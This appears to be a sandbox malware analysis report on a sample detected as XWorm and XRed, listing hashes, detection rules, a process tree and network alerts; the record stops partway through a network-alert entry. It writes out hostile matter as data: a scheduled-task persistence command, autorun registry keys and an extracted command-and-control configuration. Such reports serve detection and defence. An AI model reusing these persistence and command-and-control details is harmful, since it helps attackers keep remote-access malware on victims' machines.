Edit tour

Windows Analysis Report
Client.exe

Overview

General Information

Sample name:	Client.exe
Analysis ID:	1497354
MD5:	754aa1e8baa350cb36b05ddf8feb5bbe
SHA1:	e92550c30b6bc1d529e4d6b9dbdc1f282ab6945d
SHA256:	dcc01abef7d4734c5694c36f9f61238153c357e094bda00f173bf3dbbbbdedef
Infos:

Detection

XRed, XWorm

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected XRed

Yara detected XWorm

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Document contains an embedded VBA macro with suspicious strings

Document contains an embedded VBA with functions possibly related to ADO stream file operations

Document contains an embedded VBA with functions possibly related to HTTP operations

Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)

Drops PE files to the document folder of the user

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Uses dynamic DNS services

Uses schtasks.exe or at.exe to add and modify task schedules

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates a window with clipboard capturing capabilities

Detected potential crypto function

Document contains an embedded VBA macro which executes code when the document is opened / closed

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May infect USB drives

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains executable resources (Code or Archives)

Queries the installation date of Windows

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Excel Network Connections

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Office Outbound Connections

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Stores files to the Windows start menu directory

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

Client.exe (PID: 7888 cmdline: "C:\Users\user\Desktop\Client.exe" MD5: 754AA1E8BAA350CB36B05DDF8FEB5BBE)

._cache_Client.exe (PID: 7976 cmdline: "C:\Users\user\Desktop\._cache_Client.exe" MD5: D0124EA188E8309B62E57A1C1B1A24E3)

schtasks.exe (PID: 1160 cmdline: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\user\AppData\Roaming\XClient.exe" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 3228 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Synaptics.exe (PID: 8004 cmdline: "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate MD5: B2B36F3E560521D53BD607DD291E3C08)

WerFault.exe (PID: 3504 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 8004 -s 11848 MD5: C31336C1EFC2CCB44B4326EA793040F2)

EXCEL.EXE (PID: 8076 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding MD5: 4A871771235598812032C822E6F68F19)

splwow64.exe (PID: 6304 cmdline: C:\Windows\splwow64.exe 12288 MD5: 77DE7761B037061C7C112FD3C5B91E73)

XClient.exe (PID: 1552 cmdline: C:\Users\user\AppData\Roaming\XClient.exe MD5: D0124EA188E8309B62E57A1C1B1A24E3)

Synaptics.exe (PID: 4152 cmdline: "C:\ProgramData\Synaptics\Synaptics.exe" MD5: B2B36F3E560521D53BD607DD291E3C08)

XClient.exe (PID: 2700 cmdline: "C:\Users\user\AppData\Roaming\XClient.exe" MD5: D0124EA188E8309B62E57A1C1B1A24E3)

XClient.exe (PID: 8520 cmdline: "C:\Users\user\AppData\Roaming\XClient.exe" MD5: D0124EA188E8309B62E57A1C1B1A24E3)

XClient.exe (PID: 8744 cmdline: C:\Users\user\AppData\Roaming\XClient.exe MD5: D0124EA188E8309B62E57A1C1B1A24E3)

XClient.exe (PID: 8232 cmdline: C:\Users\user\AppData\Roaming\XClient.exe MD5: D0124EA188E8309B62E57A1C1B1A24E3)

XClient.exe (PID: 6320 cmdline: C:\Users\user\AppData\Roaming\XClient.exe MD5: D0124EA188E8309B62E57A1C1B1A24E3)

XClient.exe (PID: 6056 cmdline: C:\Users\user\AppData\Roaming\XClient.exe MD5: D0124EA188E8309B62E57A1C1B1A24E3)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
XWorm	Malware with wide range of capabilities ranging from RAT to ransomware.	No Attribution	https://any.run/cybersecurity-blog/xworm-malware-communication-analysis/ https://any.run/cybersecurity-blog/xworm-technical-analysis-of-a-new-malware-version/ https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/ https://cert.pl/en/posts/2023/10/deworming-the-xworm/ https://embee-research.ghost.io/infrastructure-analysis-with-dns-pivoting/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm

Malware Configuration

Threatname: Xworm

{"C2 url": ["192.168.1.195"], "Port": "2404", "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.2"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Client.exe	JoeSecurity_XRed	Yara detected XRed	Joe Security
Client.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
Client.exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Client.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xb94de:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xb957b:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xb9690:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xb91fe:$cnc4: POST / HTTP/1.1

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\Desktop\._cache_Client.exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
C:\Users\user\Desktop\._cache_Client.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x80a6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x8143:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x8258:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x7dc6:$cnc4: POST / HTTP/1.1
C:\Users\user\AppData\Roaming\XClient.exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
C:\Users\user\AppData\Roaming\XClient.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x80a6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x8143:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x8258:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x7dc6:$cnc4: POST / HTTP/1.1
C:\ProgramData\Synaptics\Synaptics.exe	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\ProgramData\Synaptics\Synaptics.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\ProgramData\Synaptics\Synaptics.exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
C:\ProgramData\Synaptics\Synaptics.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xb94de:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xb957b:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xb9690:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xb91fe:$cnc4: POST / HTTP/1.1
C:\Users\user\Documents\IPKGELNTQY\~$cache1	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\Users\user\Documents\IPKGELNTQY\~$cache1	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\ProgramData\Synaptics\RCXEF1B.tmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\ProgramData\Synaptics\RCXEF1B.tmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
Click to see the 7 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000000.1413414225.00000000009B2000.00000002.00000001.01000000.00000005.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000002.00000000.1413414225.00000000009B2000.00000002.00000001.01000000.00000005.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x7ea6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x7f43:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x8058:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x7bc6:$cnc4: POST / HTTP/1.1
00000000.00000003.1414593169.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000000.00000003.1414593169.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x9d9e:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x9e3b:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x9f50:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x9abe:$cnc4: POST / HTTP/1.1
00000000.00000003.1414566747.00000000005CD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000000.00000003.1414566747.00000000005CD000.00000004.00000020.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x1b966:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x1ba03:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x1bb18:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x1b686:$cnc4: POST / HTTP/1.1
00000000.00000000.1404593166.00000000004A5000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000000.00000000.1404593166.00000000004A5000.00000002.00000001.01000000.00000003.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x19cde:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x19d7b:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x19e90:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x199fe:$cnc4: POST / HTTP/1.1
00000000.00000000.1404505014.0000000000401000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
00000000.00000000.1404505014.0000000000401000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
Process Memory Space: Client.exe PID: 7888	JoeSecurity_XRed	Yara detected XRed	Joe Security
Process Memory Space: Client.exe PID: 7888	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: ._cache_Client.exe PID: 7976	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Click to see the 8 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.Client.exe.4b6c38.1.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.0.Client.exe.4b6c38.1.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x62a6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x6343:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x6458:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x5fc6:$cnc4: POST / HTTP/1.1
2.0.._cache_Client.exe.9b0000.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
2.0.._cache_Client.exe.9b0000.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x80a6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x8143:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x8258:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x7dc6:$cnc4: POST / HTTP/1.1
0.3.Client.exe.5e08c0.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.3.Client.exe.5e08c0.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x62a6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x6343:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x6458:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x5fc6:$cnc4: POST / HTTP/1.1
0.3.Client.exe.5e08c0.0.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.3.Client.exe.5e08c0.0.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x80a6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x8143:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x8258:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x7dc6:$cnc4: POST / HTTP/1.1
0.0.Client.exe.4b6c38.1.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.0.Client.exe.4b6c38.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.0.Client.exe.4b6c38.1.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x80a6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x8143:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x8258:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x7dc6:$cnc4: POST / HTTP/1.1
0.0.Client.exe.400000.0.unpack	JoeSecurity_XRed	Yara detected XRed	Joe Security
0.0.Client.exe.400000.0.unpack	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
0.0.Client.exe.400000.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.0.Client.exe.400000.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xb94de:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xb957b:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xb9690:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xb91fe:$cnc4: POST / HTTP/1.1
Click to see the 10 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\XClient.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\._cache_Client.exe, ProcessId: 7976, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\XClient

Sigma detected: Excel Network Connections

Source: Network Connection

Author: Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Florian Roth '@Neo23x0", Tim Shelton: Data: DestinationIp: 13.107.253.67, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, Initiated: true, ProcessId: 8076, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49930

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Desktop\._cache_Client.exe, ProcessId: 7976, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk

Sigma detected: Suspicious Office Outbound Connections

Source: Network Connection

Author: X__Junior (Nextron Systems): Data: DestinationIp: 192.168.2.8, DestinationIsIpv6: false, DestinationPort: 49930, EventID: 3, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, Initiated: true, ProcessId: 8076, Protocol: tcp, SourceIp: 13.107.253.67, SourceIsIpv6: false, SourcePort: 443

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\user\AppData\Roaming\XClient.exe", CommandLine: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\user\AppData\Roaming\XClient.exe", CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\._cache_Client.exe" , ParentImage: C:\Users\user\Desktop\._cache_Client.exe, ParentProcessId: 7976, ParentProcessName: ._cache_Client.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\user\AppData\Roaming\XClient.exe", ProcessId: 1160, ProcessName: schtasks.exe

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\ProgramData\Synaptics\Synaptics.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\Client.exe, ProcessId: 7888, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\?????

Sigma detected: Office Macro File Creation

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\ProgramData\Synaptics\Synaptics.exe, ProcessId: 8004, TargetFilename: C:\Users\user\AppData\Local\Temp\d4Hrgcsl.xlsm

Suricata Signatures

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 216.58.206.46

Timestamp:	2024-08-22T13:10:27.617500+0200
SID:	2044887
Severity:	1
Source Port:	49717
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 216.58.206.46

Timestamp:	2024-08-22T13:10:34.344002+0200
SID:	2044887
Severity:	1
Source Port:	49757
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 216.58.206.46

Timestamp:	2024-08-22T13:10:36.764098+0200
SID:	2044887
Severity:	1
Source Port:	49767
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 216.58.206.46

Timestamp:	2024-08-22T13:10:36.450548+0200
SID:	2044887
Severity:	1
Source Port:	49765
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 216.58.206.46

Timestamp:	2024-08-22T13:10:26.548819+0200
SID:	2044887
Severity:	1
Source Port:	49710
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 216.58.206.46

Timestamp:	2024-08-22T13:10:33.640713+0200
SID:	2044887
Severity:	1
Source Port:	49750
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 216.58.206.46

Timestamp:	2024-08-22T13:10:26.546896+0200
SID:	2044887
Severity:	1
Source Port:	49711
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 216.58.206.46

Timestamp:	2024-08-22T13:10:33.498401+0200
SID:	2044887
Severity:	1
Source Port:	49749
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 216.58.206.46

Timestamp:	2024-08-22T13:10:30.295762+0200
SID:	2044887
Severity:	1
Source Port:	49731
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 216.58.206.46

Timestamp:	2024-08-22T13:10:31.414636+0200
SID:	2044887
Severity:	1
Source Port:	49739
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 216.58.206.46

Timestamp:	2024-08-22T13:10:39.475652+0200
SID:	2044887
Severity:	1
Source Port:	49780
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 216.58.206.46

Timestamp:	2024-08-22T13:10:32.456776+0200
SID:	2044887
Severity:	1
Source Port:	49741
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 216.58.206.46

Timestamp:	2024-08-22T13:10:35.390588+0200
SID:	2044887
Severity:	1
Source Port:	49761
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 216.58.206.46

Timestamp:	2024-08-22T13:10:37.509199+0200
SID:	2044887
Severity:	1
Source Port:	49769
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 216.58.206.46

Timestamp:	2024-08-22T13:10:29.819435+0200
SID:	2044887
Severity:	1
Source Port:	49728
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 216.58.206.46

Timestamp:	2024-08-22T13:10:32.550556+0200
SID:	2044887
Severity:	1
Source Port:	49743
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 216.58.206.46

Timestamp:	2024-08-22T13:10:39.475801+0200
SID:	2044887
Severity:	1
Source Port:	49779
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 216.58.206.46

Timestamp:	2024-08-22T13:10:35.708307+0200
SID:	2044887
Severity:	1
Source Port:	49762
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 216.58.206.46

Timestamp:	2024-08-22T13:10:31.457519+0200
SID:	2044887
Severity:	1
Source Port:	49738
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 216.58.206.46

Timestamp:	2024-08-22T13:10:40.539765+0200
SID:	2044887
Severity:	1
Source Port:	49782
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 216.58.206.46

Timestamp:	2024-08-22T13:10:29.044106+0200
SID:	2044887
Severity:	1
Source Port:	49723
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 216.58.206.46

Timestamp:	2024-08-22T13:10:28.768793+0200
SID:	2044887
Severity:	1
Source Port:	49721
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE W32.Bloat-A Checkin - Source IP: 192.168.2.8 - Destination IP: 69.42.215.252

Timestamp:	2024-08-22T13:10:26.149765+0200
SID:	2832617
Severity:	1
Source Port:	49713
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 216.58.206.46

Timestamp:	2024-08-22T13:10:27.976377+0200
SID:	2044887
Severity:	1
Source Port:	49718
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.8 - Destination IP: 216.58.206.46

Timestamp:	2024-08-22T13:10:37.825975+0200
SID:	2044887
